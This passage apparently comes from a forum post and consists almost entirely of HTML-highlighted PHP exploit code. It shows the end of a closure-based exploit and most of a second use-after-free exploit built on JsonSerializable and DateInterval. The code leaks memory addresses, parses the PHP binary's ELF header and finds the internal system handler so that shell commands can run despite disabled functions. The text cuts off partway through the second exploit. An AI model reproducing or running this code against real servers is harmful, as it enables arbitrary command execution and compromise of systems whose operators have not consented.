  139. &nbsp; &nbsp; }

  140. &nbsp; &nbsp; <font color="#5c6370"><i># leaks</i></font>
  141. &nbsp; &nbsp; $closure_handlers = str2ptr($abc, <font color="#d19a66">0</font>);
  142. &nbsp; &nbsp; $php_heap = str2ptr($abc, <font color="#d19a66">0x58</font>);
  143. &nbsp; &nbsp; $abc_addr = $php_heap - <font color="#d19a66">0xc8</font>;

  144. &nbsp; &nbsp; <font color="#5c6370"><i># fake value</i></font>
  145. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x60</font>, <font color="#d19a66">2</font>);
  146. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x70</font>, <font color="#d19a66">6</font>);

  147. &nbsp; &nbsp; <font color="#5c6370"><i># fake reference</i></font>
  148. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x10</font>, $abc_addr + <font color="#d19a66">0x60</font>);
  149. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x18</font>, <font color="#d19a66">0xa</font>);

  150. &nbsp; &nbsp; $closure_obj = str2ptr($abc, <font color="#d19a66">0x20</font>);

  151. &nbsp; &nbsp; $binary_leak = leak($closure_handlers, <font color="#d19a66">8</font>);
  152. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($base = get_binary_base($binary_leak))) {
  153. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  154. &nbsp; &nbsp; }

  155. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($elf = parse_elf($base))) {
  156. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF header"</font>);
  157. &nbsp; &nbsp; }

  158. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($basic_funcs = get_basic_funcs($base, $elf))) {
  159. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  160. &nbsp; &nbsp; }

  161. &nbsp; &nbsp; <font color="#c678dd">if</font>(!($zif_system = get_system($basic_funcs))) {
  162. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get zif_system address"</font>);
  163. &nbsp; &nbsp; }

  164. &nbsp; &nbsp; <font color="#5c6370"><i># fake closure object</i></font>
  165. &nbsp; &nbsp; $fake_obj_offset = <font color="#d19a66">0xd0</font>;
  166. &nbsp; &nbsp; <font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">0x110</font>; $i += <font color="#d19a66">8</font>) {
  167. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  168. &nbsp; &nbsp; }

  169. &nbsp; &nbsp; <font color="#5c6370"><i># pwn</i></font>
  170. &nbsp; &nbsp; write($abc, <font color="#d19a66">0x20</font>, $abc_addr + $fake_obj_offset);
  171. &nbsp; &nbsp; write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x38</font>, <font color="#d19a66">1</font>, <font color="#d19a66">4</font>); <font color="#5c6370"><i># internal func type</i></font>
  172. &nbsp; &nbsp; write($abc, <font color="#d19a66">0xd0</font> + <font color="#d19a66">0x68</font>, $zif_system); <font color="#5c6370"><i># internal func handler</i></font>

  173. &nbsp; &nbsp; ($helper-&gt;b)($cmd);

  174. &nbsp; &nbsp; <font color="#c678dd">exit</font>();
  175. }
复制代码


json
  1. <font color="#61aeee">&lt;?php</font>

  2. $cmd = <font color="#98c379">"id"</font>;

  3. $n_alloc = <font color="#d19a66">10</font>; <font color="#5c6370"><i># increase this value if you get segfaults</i></font>

  4. class MySplFixedArray extends SplFixedArray {
  5. &nbsp; &nbsp; <font color="#c678dd">public</font> <font color="#c678dd">static</font> $leak;
  6. }

  7. class Z implements JsonSerializable {
  8. &nbsp; &nbsp; <font color="#c678dd">public</font> function write(&amp;$str, $p, $v, $n = 8) {
  9. &nbsp; &nbsp;&nbsp; &nbsp;$i = <font color="#d19a66">0</font>;
  10. &nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n; $i++) {
  11. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$str[$p + $i] = chr($v &amp; <font color="#d19a66">0xff</font>);
  12. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$v &gt;&gt;= <font color="#d19a66">8</font>;
  13. &nbsp; &nbsp;&nbsp; &nbsp;}
  14. &nbsp; &nbsp; }

  15. &nbsp; &nbsp; <font color="#c678dd">public</font> function str2ptr(&amp;$str, $p = 0, $s = 8) {
  16. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$address = <font color="#d19a66">0</font>;
  17. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($j = $s<font color="#d19a66">-1</font>; $j &gt;= <font color="#d19a66">0</font>; $j--) {
  18. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address &lt;&lt;= <font color="#d19a66">8</font>;
  19. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$address |= ord($str[$p+$j]);
  20. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  21. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $address;
  22. &nbsp; &nbsp; }

  23. &nbsp; &nbsp; <font color="#c678dd">public</font> function ptr2str($ptr, $m = 8) {
  24. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$out = <font color="#98c379">""</font>;
  25. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font> ($i=<font color="#d19a66">0</font>; $i &lt; $m; $i++) {
  26. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$out .= chr($ptr &amp; <font color="#d19a66">0xff</font>);
  27. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$ptr &gt;&gt;= <font color="#d19a66">8</font>;
  28. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  29. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $out;
  30. &nbsp; &nbsp; }

  31. &nbsp; &nbsp; <font color="#5c6370"><i># unable to leak ro segments</i></font>
  32. &nbsp; &nbsp; <font color="#c678dd">public</font> function leak1($addr) {
  33. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">global</font> $spl1;

  34. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">8</font>, $addr - <font color="#d19a66">0x10</font>);
  35. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> strlen(get_class($spl1));
  36. &nbsp; &nbsp; }

  37. &nbsp; &nbsp; <font color="#5c6370"><i># the real deal</i></font>
  38. &nbsp; &nbsp; <font color="#c678dd">public</font> function leak2($addr, $p = 0, $s = 8) {
  39. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">global</font> $spl1, $fake_tbl_off;

  40. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># fake reference zval</i></font>
  41. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_tbl_off + <font color="#d19a66">0x10</font>, <font color="#d19a66">0xdeadbeef</font>); <font color="#5c6370"><i># gc_refcounted</i></font>
  42. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_tbl_off + <font color="#d19a66">0x18</font>, $addr + $p - <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
  43. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_tbl_off + <font color="#d19a66">0x20</font>, <font color="#d19a66">6</font>); <font color="#5c6370"><i># type (string)</i></font>

  44. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$leak = strlen($spl1::$leak);
  45. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>($s != <font color="#d19a66">8</font>) { $leak %= <font color="#d19a66">2</font> &lt;&lt; ($s * <font color="#d19a66">8</font>) - <font color="#d19a66">1</font>; }

  46. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> $leak;
  47. &nbsp; &nbsp; }

  48. &nbsp; &nbsp; <font color="#c678dd">public</font> function parse_elf($base) {
  49. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_type = <font color="#c678dd">$this</font>-&gt;leak2($base, <font color="#d19a66">0x10</font>, <font color="#d19a66">2</font>);

  50. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phoff = <font color="#c678dd">$this</font>-&gt;leak2($base, <font color="#d19a66">0x20</font>);
  51. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phentsize = <font color="#c678dd">$this</font>-&gt;leak2($base, <font color="#d19a66">0x36</font>, <font color="#d19a66">2</font>);
  52. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$e_phnum = <font color="#c678dd">$this</font>-&gt;leak2($base, <font color="#d19a66">0x38</font>, <font color="#d19a66">2</font>);

  53. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $e_phnum; $i++) {
  54. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$header = $base + $e_phoff + $i * $e_phentsize;
  55. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_type&nbsp;&nbsp;= <font color="#c678dd">$this</font>-&gt;leak2($header, <font color="#d19a66">0</font>, <font color="#d19a66">4</font>);
  56. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_flags = <font color="#c678dd">$this</font>-&gt;leak2($header, <font color="#d19a66">4</font>, <font color="#d19a66">4</font>);
  57. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_vaddr = <font color="#c678dd">$this</font>-&gt;leak2($header, <font color="#d19a66">0x10</font>);
  58. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$p_memsz = <font color="#c678dd">$this</font>-&gt;leak2($header, <font color="#d19a66">0x28</font>);

  59. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">6</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_Write</i></font>
  60. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># handle pie</i></font>
  61. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_addr = $e_type == <font color="#d19a66">2</font> ? $p_vaddr : $base + $p_vaddr;
  62. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $data_size = $p_memsz;
  63. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">if</font>($p_type == <font color="#d19a66">1</font> &amp;&amp; $p_flags == <font color="#d19a66">5</font>) { <font color="#5c6370"><i># PT_LOAD, PF_Read_exec</i></font>
  64. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $text_size = $p_memsz;
  65. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  66. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  67. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!$data_addr || !$text_size || !$data_size)
  68. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;

  69. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> [$data_addr, $text_size, $data_size];
  70. &nbsp; &nbsp; }

  71. &nbsp; &nbsp; <font color="#c678dd">public</font> function get_basic_funcs($base, $elf) {
  72. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">list</font>($data_addr, $text_size, $data_size) = $elf;
  73. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $data_size / <font color="#d19a66">8</font>; $i++) {
  74. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = <font color="#c678dd">$this</font>-&gt;leak2($data_addr, $i * <font color="#d19a66">8</font>);
  75. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  76. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = <font color="#c678dd">$this</font>-&gt;leak2($leak);
  77. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'constant' constant check</i></font>
  78. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x746e6174736e6f63</font>)
  79. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  80. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  81. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = <font color="#c678dd">$this</font>-&gt;leak2($data_addr, ($i + <font color="#d19a66">4</font>) * <font color="#d19a66">8</font>);
  82. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak - $base &gt; <font color="#d19a66">0</font> &amp;&amp; $leak - $base &lt; $data_addr - $base) {
  83. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; $deref = <font color="#c678dd">$this</font>-&gt;leak2($leak);
  84. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#5c6370"><i># 'bin2hex' constant check</i></font>
  85. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">if</font>($deref != <font color="#d19a66">0x786568326e6962</font>)
  86. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">continue</font>;
  87. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;} <font color="#c678dd">else</font> <font color="#c678dd">continue</font>;

  88. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">return</font> $data_addr + $i * <font color="#d19a66">8</font>;
  89. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  90. &nbsp; &nbsp; }

  91. &nbsp; &nbsp; <font color="#c678dd">public</font> function get_binary_base($binary_leak) {
  92. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$base = <font color="#d19a66">0</font>;
  93. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$start = $binary_leak &amp; <font color="#d19a66">0xfffffffffffff000</font>;
  94. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">0x1000</font>; $i++) {
  95. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr = $start - <font color="#d19a66">0x1000</font> * $i;
  96. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$leak = <font color="#c678dd">$this</font>-&gt;leak2($addr, <font color="#d19a66">0</font>, <font color="#d19a66">7</font>);
  97. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($leak == <font color="#d19a66">0x10102464c457f</font>) { <font color="#5c6370"><i># ELF header</i></font>
  98. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> $addr;
  99. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  100. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}
  101. &nbsp; &nbsp; }

  102. &nbsp; &nbsp; <font color="#c678dd">public</font> function get_system($basic_funcs) {
  103. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$addr = $basic_funcs;
  104. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">do</font> {
  105. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_entry = <font color="#c678dd">$this</font>-&gt;leak2($addr);
  106. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$f_name = <font color="#c678dd">$this</font>-&gt;leak2($f_entry, <font color="#d19a66">0</font>, <font color="#d19a66">6</font>);

  107. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">if</font>($f_name == <font color="#d19a66">0x6d6574737973</font>) { <font color="#5c6370"><i># system</i></font>
  108. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">return</font> <font color="#c678dd">$this</font>-&gt;leak2($addr + <font color="#d19a66">8</font>);
  109. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;}
  110. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$addr += <font color="#d19a66">0x20</font>;
  111. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;} <font color="#c678dd">while</font>($f_entry != <font color="#d19a66">0</font>);
  112. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">return</font> <font color="#c678dd">false</font>;
  113. &nbsp; &nbsp; }

  114. &nbsp; &nbsp; <font color="#c678dd">public</font> function jsonSerialize() {
  115. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">global</font> $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

  116. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$contiguous = [];
  117. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n_alloc; $i++)
  118. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$contiguous[] = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);

  119. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$room = [];
  120. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; $n_alloc; $i++)
  121. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;$room[] = <font color="#c678dd">new</font> Z();

  122. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$_protector = <font color="#c678dd">$this</font>-&gt;ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">78</font>);

  123. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;abc = <font color="#c678dd">$this</font>-&gt;ptr2str(<font color="#d19a66">0</font>, <font color="#d19a66">79</font>);
  124. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$p = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);

  125. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">unset</font>($y[<font color="#d19a66">0</font>]);
  126. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">unset</font>($p);

  127. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$protector = <font color="#98c379">".$_protector"</font>;

  128. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$x = <font color="#c678dd">new</font> DateInterval(<font color="#98c379">'PT1S'</font>);
  129. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$x-&gt;d = <font color="#d19a66">0x2000</font>;
  130. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$x-&gt;h = <font color="#d19a66">0xdeadbeef</font>;
  131. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># $this-&gt;abc is now of size 0x2000</i></font>

  132. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(<font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc) != <font color="#d19a66">0xdeadbeef</font>) {
  133. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">die</font>(<font color="#98c379">'UAF failed.'</font>);
  134. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  135. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$spl1 = <font color="#c678dd">new</font> MySplFixedArray();
  136. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$spl2 = <font color="#c678dd">new</font> MySplFixedArray();

  137. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># some leaks</i></font>
  138. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$class_entry = <font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x120</font>);
  139. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$handlers = <font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x128</font>);
  140. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$php_heap = <font color="#c678dd">$this</font>-&gt;str2ptr(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x1a8</font>);
  141. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$abc_addr = $php_heap - <font color="#d19a66">0x218</font>;

  142. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># create a fake class_entry</i></font>
  143. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$fake_obj = $abc_addr;
  144. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0</font>, <font color="#d19a66">2</font>); <font color="#5c6370"><i># type</i></font>
  145. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x120</font>, $abc_addr); <font color="#5c6370"><i># fake class_entry</i></font>

  146. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># copy some of class_entry definition</i></font>
  147. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">for</font>($i = <font color="#d19a66">0</font>; $i &lt; <font color="#d19a66">16</font>; $i++) {
  148. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>,
  149. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <font color="#c678dd">$this</font>-&gt;leak1($class_entry + <font color="#d19a66">0x10</font> + $i * <font color="#d19a66">8</font>));
  150. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  151. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># fake static members table</i></font>
  152. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$fake_tbl_off = <font color="#d19a66">0x70</font> * <font color="#d19a66">4</font> - <font color="#d19a66">16</font>;
  153. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x30</font>, $abc_addr + $fake_tbl_off);
  154. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, <font color="#d19a66">0x38</font>, $abc_addr + $fake_tbl_off);

  155. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># fake zval_reference</i></font>
  156. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + <font color="#d19a66">0x10</font>); <font color="#5c6370"><i># zval</i></font>
  157. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">$this</font>-&gt;write(<font color="#c678dd">$this</font>-&gt;abc, $fake_tbl_off + <font color="#d19a66">8</font>, <font color="#d19a66">10</font>); <font color="#5c6370"><i># zval type (reference)</i></font>

  158. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># look for binary base</i></font>
  159. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$binary_leak = <font color="#c678dd">$this</font>-&gt;leak2($handlers + <font color="#d19a66">0x10</font>);
  160. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!($base = <font color="#c678dd">$this</font>-&gt;get_binary_base($binary_leak))) {
  161. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't determine binary base address"</font>);
  162. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  163. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># parse elf header</i></font>
  164. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!($elf = <font color="#c678dd">$this</font>-&gt;parse_elf($base))) {
  165. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't parse ELF"</font>);
  166. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  167. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># get basic_functions address</i></font>
  168. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#c678dd">if</font>(!($basic_funcs = <font color="#c678dd">$this</font>-&gt;get_basic_funcs($base, $elf))) {
  169. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<font color="#c678dd">die</font>(<font color="#98c379">"Couldn't get basic_functions address"</font>);
  170. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}

  171. &nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<font color="#5c6370"><i># find system entry</i></font>
